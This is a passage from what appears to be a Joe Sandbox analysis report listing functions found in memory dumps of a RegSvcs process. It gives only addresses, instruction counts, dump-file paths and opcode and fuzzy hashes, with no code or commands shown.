                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 923a24beacbc4513d9cf45773888b82e7d491d2173e4d5ddabd7f6d7595d3ec1
                                                                • Instruction ID: e4449bcd383b8970f0282d8fa64681665586562177efdb53e9eb0227c5e8c411
                                                                • Opcode Fuzzy Hash: 923a24beacbc4513d9cf45773888b82e7d491d2173e4d5ddabd7f6d7595d3ec1
                                                                • Instruction Fuzzy Hash: 2001A4359061CADFCF129BB4E8509DDBFB1AF86320F5846E2E5816F262CB306C15C761
                                                                Function 00D42720 Relevance: .0, Instructions: 42COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3679b3157df1b662e4315bab804c1c521fb92a225cc53c2884cabe46b3f10aba
                                                                • Instruction ID: 01f65516f8e9e92948823fdb0c56f087977c98edaa4748c4494dca276da4589e
                                                                • Opcode Fuzzy Hash: 3679b3157df1b662e4315bab804c1c521fb92a225cc53c2884cabe46b3f10aba
                                                                • Instruction Fuzzy Hash: 60014B32E1060E87CF119BB9D8005DEF7BAAFC9310F618726D61177250EB70258ACBA1
                                                                Function 00D4A860 Relevance: .0, Instructions: 40COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c0cbad9589e4f6dc5b4e97555a5086501b23c916e5a67d89a77fa0e492f58c69
                                                                • Instruction ID: 2291b01164d1f94d1828750136a95bbc106de010134ccf695e4a47afa4d28612
                                                                • Opcode Fuzzy Hash: c0cbad9589e4f6dc5b4e97555a5086501b23c916e5a67d89a77fa0e492f58c69
                                                                • Instruction Fuzzy Hash: 6FF02836D0428A9BDB029BB4CC259EFFFA68F46310F048566D152AB2C1DFB01507C792
                                                                Function 00D44F88 Relevance: .0, Instructions: 40COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 09df09cd4d4cbf3c8efa50751bb6604bc4c88ded8a38926c39781fe695e99202
                                                                • Instruction ID: 650467475ef7346c6b44c40f6acd2277e4a73202871ee1c91812d98bb57749b4
                                                                • Opcode Fuzzy Hash: 09df09cd4d4cbf3c8efa50751bb6604bc4c88ded8a38926c39781fe695e99202
                                                                • Instruction Fuzzy Hash: F2016932E2061E97CF00DBA9DC448DDF7B6EFCA711F614726E11177260EB70294A87A1
                                                                Function 00D42160 Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e5876602ec3b276d41d9dc64329963666575f8c604358d3c5c0d91ef8af4ae5d
                                                                • Instruction ID: 83a46d0820f7580dc25e165372a91aa88bf3a25b4c4263b72c92eda4777a5c37
                                                                • Opcode Fuzzy Hash: e5876602ec3b276d41d9dc64329963666575f8c604358d3c5c0d91ef8af4ae5d
                                                                • Instruction Fuzzy Hash: 98F02832D142868FDB16CBB4C8559EFBFA14F80310F14462AD512BB2C0DFB00A0AC7D1
                                                                Function 00D43BC9 Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c69552c25bac22962edef1f4b02b1b02ea1c3a996958bb0c1e3d921ca03c7a95
                                                                • Instruction ID: 38560ff7b6e855582179dd24c99d3a291b33f8974ac4042fc81b5addf7389834
                                                                • Opcode Fuzzy Hash: c69552c25bac22962edef1f4b02b1b02ea1c3a996958bb0c1e3d921ca03c7a95
                                                                • Instruction Fuzzy Hash: 5CF0C831915196CBDB06DB74C865AEFBFA69F45300F048966D153BB3C0DFB51606C392
                                                                Function 00D4A40F Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: e21164d7a11f721fc13eecb76155fd73570a0712cac7f524e36f6c4dfadf6dad
                                                                • Instruction ID: 77c44743de4a2c98ce43230fa8ffb66a8c91640bd6bada46e4897a3a60a2b824
                                                                • Opcode Fuzzy Hash: e21164d7a11f721fc13eecb76155fd73570a0712cac7f524e36f6c4dfadf6dad
                                                                • Instruction Fuzzy Hash: F3F0F43295418A8BDB059B74CC58AEFBF718F45310F044667D452AB2C0DFB0164AD792
                                                                Function 00D49F17 Relevance: .0, Instructions: 39COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1c3f1da101e37c327a8ff3f37363123dc010b3149d7a48d2d2e7e7fa9164fe35
                                                                • Instruction ID: 6b0b10769541974c7c237863f6fa9f704f44335bc666d20752e5325ee8af9c86
                                                                • Opcode Fuzzy Hash: 1c3f1da101e37c327a8ff3f37363123dc010b3149d7a48d2d2e7e7fa9164fe35
                                                                • Instruction Fuzzy Hash: E2F028329541878BDB069BB4C8656DFFF614F81330F14466BD562AB2D0DF74054AC391
                                                                Function 00D40887 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 27368e579da736290d433081663b5b42338543a88dc29acf4c6cee8746f02616
                                                                • Instruction ID: 6fa91a1a4844d2e6fa73ddef52fd9fe89c616e4a56282e3e003e57cf2ac85c91
                                                                • Opcode Fuzzy Hash: 27368e579da736290d433081663b5b42338543a88dc29acf4c6cee8746f02616
                                                                • Instruction Fuzzy Hash: 97F01932D1066A9ACF119BA8DC445DDBB72EFC9310F650716D50177160EBB02A4ACB91
                                                                Function 00D4C907 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 051c28cf57e9d1a98e9933b0dd9b6a790b2b0bd405e0c0d79f90bad1d9bfacec
                                                                • Instruction ID: b1414bac7ae580d8ad926845cd9bfb2c52ae8c6421bf6059527858fd53ec9e1c
                                                                • Opcode Fuzzy Hash: 051c28cf57e9d1a98e9933b0dd9b6a790b2b0bd405e0c0d79f90bad1d9bfacec
                                                                • Instruction Fuzzy Hash: BD018136D1064E9ADF10DBA5D8404EEFBB2AFDA320F654711D61177160EB70219A8BA1
                                                                Function 00D4C908 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0744436b20f118d4bb23368a17f7f9731ced8e39b7ce1f62a875f263b8618de9
                                                                • Instruction ID: f584a166b9efd93b69c3fb5ffc9c64ca6d34b99aa4d9416a6d63815aadf90bbe
                                                                • Opcode Fuzzy Hash: 0744436b20f118d4bb23368a17f7f9731ced8e39b7ce1f62a875f263b8618de9
                                                                • Instruction Fuzzy Hash: B5F08C32D1060E96DF10DBA9C8004DEFBB6EFCA320F654611D61137160EB70219A8BA1
                                                                Function 00D4B3F8 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1487d82c6e0b16164a6ba08fddf56516140fc85f2293c13c9d3dbbe1643f4202
                                                                • Instruction ID: 16d36732cac50b8b7e26cfa4984b8a84d6409c876f01816ef67c9f050f906846
                                                                • Opcode Fuzzy Hash: 1487d82c6e0b16164a6ba08fddf56516140fc85f2293c13c9d3dbbe1643f4202
                                                                • Instruction Fuzzy Hash: 9FF04636D1014A9BDF019BB4C8A4AEFBFB69F44300F048926E542AB381DFB4550987E1
                                                                Function 00D4BFE8 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 881e68baabab511d93b27c1e8dfb0250c9821d54595274b101832323c1b877ef
                                                                • Instruction ID: 1360c517c32f2c765cca918f5d6e5020804dfac5bd4b2d48d4b09c2813a1eff3
                                                                • Opcode Fuzzy Hash: 881e68baabab511d93b27c1e8dfb0250c9821d54595274b101832323c1b877ef
                                                                • Instruction Fuzzy Hash: 07F0C232E2154ACBDB15DBB4C8A59AFBB729F44311F048A66D512AB2C0DE706906C791
                                                                Function 00D427A0 Relevance: .0, Instructions: 37COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cf31f3f2a538c8cfa755763edc3cccd6780a8628eea885f1695163f54cdf3849
                                                                • Instruction ID: 15a21030f5e4218632409a59296db7f24ff9c1d522ec19f6d946008d3739328c
                                                                • Opcode Fuzzy Hash: cf31f3f2a538c8cfa755763edc3cccd6780a8628eea885f1695163f54cdf3849
                                                                • Instruction Fuzzy Hash: A9F0C2319102459BDF15CBB4C8A5AFFBFB29F84300F15892AE442A7281CE70190ACBD1
                                                                Function 00D4264A Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5d9c307a4e14804511ce35e735d5067ce3ac1f8b7d78e0e8a13f982270a99fab
                                                                • Instruction ID: 36c7e7b7d2b41b33e1c4595c61255f368bc49588026596406173efaed39bb704
                                                                • Opcode Fuzzy Hash: 5d9c307a4e14804511ce35e735d5067ce3ac1f8b7d78e0e8a13f982270a99fab
                                                                • Instruction Fuzzy Hash: E9011D71A052469FDB15CFACD480A9CBBF1BF49320F5A8295E459DB3A5D730D881CB20
                                                                Function 00D4D7F7 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 40501060fefe5cf9949db687b6da8ddea7d585c728bd6d1e3a60d251e99d431b
                                                                • Instruction ID: 2291ee65f6cebf0a2eb54f2f9ac69f2f32b7b86104e187c5a931d04eda01c242
                                                                • Opcode Fuzzy Hash: 40501060fefe5cf9949db687b6da8ddea7d585c728bd6d1e3a60d251e99d431b
                                                                • Instruction Fuzzy Hash: 8DF03C32D1064E8ACF00DBB9D8404EEFBB2EFCA320F554715D211770A0EB70219ACBA1
                                                                Function 00D4D7F8 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b78f723b806e6f42ecf59633d95f58d4b546ce26bb75209dfa8a69d900b8d422
                                                                • Instruction ID: fd7b5e64db9250c1bd4a73337374a9c480c40701e15ec995cb68c33a3f38d0e1
                                                                • Opcode Fuzzy Hash: b78f723b806e6f42ecf59633d95f58d4b546ce26bb75209dfa8a69d900b8d422
                                                                • Instruction Fuzzy Hash: 8CF0FF32D1060E96CF00DBA9D8444DEFBB6EFCA721F555711D61077190EB70319ACBA1
                                                                Function 00CAD614 Relevance: .0, Instructions: 36COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3426758092.0000000000CAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CAD000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_cad000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 755fbd825e64646f51e0acb88314aad4e3d7b9c41b214411b35b2558f591f6e8
                                                                • Instruction ID: 17eb6d3c5cea5e722de65de36fe907f327b240b7fbcb1525501cfb914887b35b
                                                                • Opcode Fuzzy Hash: 755fbd825e64646f51e0acb88314aad4e3d7b9c41b214411b35b2558f591f6e8
                                                                • Instruction Fuzzy Hash: 61F0C2B1404344AEF7108E15DD84B62FF98EB42728F18C45AFD1D4A682C278A940CAB1
                                                                Function 00D4DC68 Relevance: .0, Instructions: 35COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8abcc76a43aae956a1d7278bb606c66ceac6a53865b817326c8c4884e3db847c
                                                                • Instruction ID: 1f6b16c960f4cb0ddc03f00c825f61031112a2ef1f691a3108a561fc48965892
                                                                • Opcode Fuzzy Hash: 8abcc76a43aae956a1d7278bb606c66ceac6a53865b817326c8c4884e3db847c
                                                                • Instruction Fuzzy Hash: 83016D71C102578BCB00EFA4C8096DEFBB5FF85300F048696D514A7241EBB06648CBD1
                                                                Function 00D4500F Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9529a5194c6dbf40ee753b759b55aea902a3ba5e113627633eb5208aae776e6e
                                                                • Instruction ID: b61badb8ccc181542ccde114116e0784e2462e94c59b2eef896f053b287a9297
                                                                • Opcode Fuzzy Hash: 9529a5194c6dbf40ee753b759b55aea902a3ba5e113627633eb5208aae776e6e
                                                                • Instruction Fuzzy Hash: 68F05E36E1014A9BDF15DBA4D865AEFBFB29F84300F15892AD513A7280DEB0590A87D2
                                                                Function 00D42170 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: ab44ed2e24d4d53bfb3f2857a3dbe443f162cca5ef43e5010e30598b245d51cf
                                                                • Instruction ID: 1b6b5b8b59bfe6b89a95b04c2e3e4dd31914952e6d26ee36abc1d180d71dbc91
                                                                • Opcode Fuzzy Hash: ab44ed2e24d4d53bfb3f2857a3dbe443f162cca5ef43e5010e30598b245d51cf
                                                                • Instruction Fuzzy Hash: E8F08931D10149D7DB05D764C855AEFBBB69F84300F554926E602B7340DEB0590687D1
                                                                Function 00D40907 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 22e0dc49c5fc6e79b4828d84ed4071047e5eb8921e9ae9561981ce716ede8b3a
                                                                • Instruction ID: d7ccd22a0280666e8c18afacbe3419b136fdec77afdfa5ca85b154f60e718ad3
                                                                • Opcode Fuzzy Hash: 22e0dc49c5fc6e79b4828d84ed4071047e5eb8921e9ae9561981ce716ede8b3a
                                                                • Instruction Fuzzy Hash: BBF0E932D101499BDF04D774C865AEFBFB29F84300F14492AD503B7380DEB019068BD1
                                                                Function 00D40908 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7e923f61f64925a40068063216affc2e7ecca6575c7fce95261bcec43f8f17d3
                                                                • Instruction ID: bd6f7512a70fc05af8e091ac0db5d3e016c0ce6e3b34cbe6dcf7ff33f16d19e1
                                                                • Opcode Fuzzy Hash: 7e923f61f64925a40068063216affc2e7ecca6575c7fce95261bcec43f8f17d3
                                                                • Instruction Fuzzy Hash: E3F08972D1010997DF04E764C855AEFBFB69F84300F154925D612B7340DEB0590586D1
                                                                Function 00D42BA3 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 5d48607a8f04c8f4f9afaf57f05467723225e3f9a638bba0bc3ac9acea8e9457
                                                                • Instruction ID: adfcf6397fa723d80e474202b2d912e652c216446a5d063ca28dd211cf22adf5
                                                                • Opcode Fuzzy Hash: 5d48607a8f04c8f4f9afaf57f05467723225e3f9a638bba0bc3ac9acea8e9457
                                                                • Instruction Fuzzy Hash: 89F0B431D101499BDB05DB74C865AFFBFB69F88300F55892AE502B7280DFB0590AC6D1
                                                                Function 00D45CD7 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f3efd98e0f93032eed9f5d75acc60cbf2b3facd52a1682101aeb5219432a0435
                                                                • Instruction ID: bb362c183739e05596c7aafa45ebbbedcbc9bac80a3ca34cbeee4089e27c3ce7
                                                                • Opcode Fuzzy Hash: f3efd98e0f93032eed9f5d75acc60cbf2b3facd52a1682101aeb5219432a0435
                                                                • Instruction Fuzzy Hash: 46F0B431D101499BDB04DB64C865AEFBFB29F84300F14492AD503B7280DFB019068691
                                                                Function 00D45CD8 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: edc2ef0515faa21fced860f8bc9ad4933ece3adfc36b878d33f269680efd8ea2
                                                                • Instruction ID: d49067e826c69dc9e9668f5d9ab12cb10e4b928d54847209c0780719b8b4aa44
                                                                • Opcode Fuzzy Hash: edc2ef0515faa21fced860f8bc9ad4933ece3adfc36b878d33f269680efd8ea2
                                                                • Instruction Fuzzy Hash: 03F08232E205499BDB08DB64C869AEFBBB69F84300F558926D512BB380DFB0590696E1
                                                                Function 00D4A420 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 334581a15955f343200b9d7d09b92488ba5ae0de6892432a3fe2c67a74ea8b67
                                                                • Instruction ID: 3c94659be1e97b93df60ecdecd8a3a91f80b8da81715d1fe7f994c6d2cfb0dfa
                                                                • Opcode Fuzzy Hash: 334581a15955f343200b9d7d09b92488ba5ae0de6892432a3fe2c67a74ea8b67
                                                                • Instruction Fuzzy Hash: 96F0E931D1014997DF04D768C855AEFBBB69F84300F058936D506A7380DEB0590686D2
                                                                Function 00D4C630 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9ad4e5de0b4f2edc966bec08816d748dda8a536acfb27761c50202ff5a6d920f
                                                                • Instruction ID: 52a5d3e7c4581291cfdf79b5a193bf38c5e069716906646bcc50c28471b63a99
                                                                • Opcode Fuzzy Hash: 9ad4e5de0b4f2edc966bec08816d748dda8a536acfb27761c50202ff5a6d920f
                                                                • Instruction Fuzzy Hash: 0EF08276E212499BDB14DB64C8659EFBBB69F84300F159836D502A7380EEB0590686E1
                                                                Function 00D45837 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 49fcabb8596b37279faf6a6af59982b06c42012fa4cdef4c05c4a1ee4885711c
                                                                • Instruction ID: 1d9bcc6deeec0aaaf2fedcf8e8769a275fae73bc6847844726b49c6157dce909
                                                                • Opcode Fuzzy Hash: 49fcabb8596b37279faf6a6af59982b06c42012fa4cdef4c05c4a1ee4885711c
                                                                • Instruction Fuzzy Hash: 2EF05E32E101499BDB19DB64D865AEFBFB29F84300F15892AD503B7281DEB0590A8A91
                                                                Function 00D45838 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1e9da05c20a69808cc709aaecfcd961497cc63100d6661625d3907b405d1b1be
                                                                • Instruction ID: b7a8e751e1406f87a0a062fd533e2eff8306e628087a62261dcac5ec1d5b5d48
                                                                • Opcode Fuzzy Hash: 1e9da05c20a69808cc709aaecfcd961497cc63100d6661625d3907b405d1b1be
                                                                • Instruction Fuzzy Hash: A8F08232E101099BDB09DB64C865AEFBBB69F84310F45893AD503B7281DFB0590686D1
                                                                Function 00D42BA8 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b5c7ebcbd4c0e61a461ac16a78cf8662fef6411ec8555bd4e84ad76c66d85cfb
                                                                • Instruction ID: 2c9178b8a1fe1d8ade581e14812167f5de5d5cb46f036236c73a23f47caf72cd
                                                                • Opcode Fuzzy Hash: b5c7ebcbd4c0e61a461ac16a78cf8662fef6411ec8555bd4e84ad76c66d85cfb
                                                                • Instruction Fuzzy Hash: BAF0A732E101499BDF04DB64C855AEFBBB69F88300F458936E502BB380DFB0590AD6D1
                                                                Function 00D41E77 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 46ad0cf13de24a732f53bdf00ef697f6a3ddc082d7ca589c97bc29038c81f105
                                                                • Instruction ID: 069076e05a676f53fc03ca915140e745e1ff2acb4aec14c960ff655947c4bda0
                                                                • Opcode Fuzzy Hash: 46ad0cf13de24a732f53bdf00ef697f6a3ddc082d7ca589c97bc29038c81f105
                                                                • Instruction Fuzzy Hash: 8AF08936D101499BDF15D764C855AEFBFB25F84300F15453AD503B7380DEB0590687D1
                                                                Function 00D4DC78 Relevance: .0, Instructions: 31COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
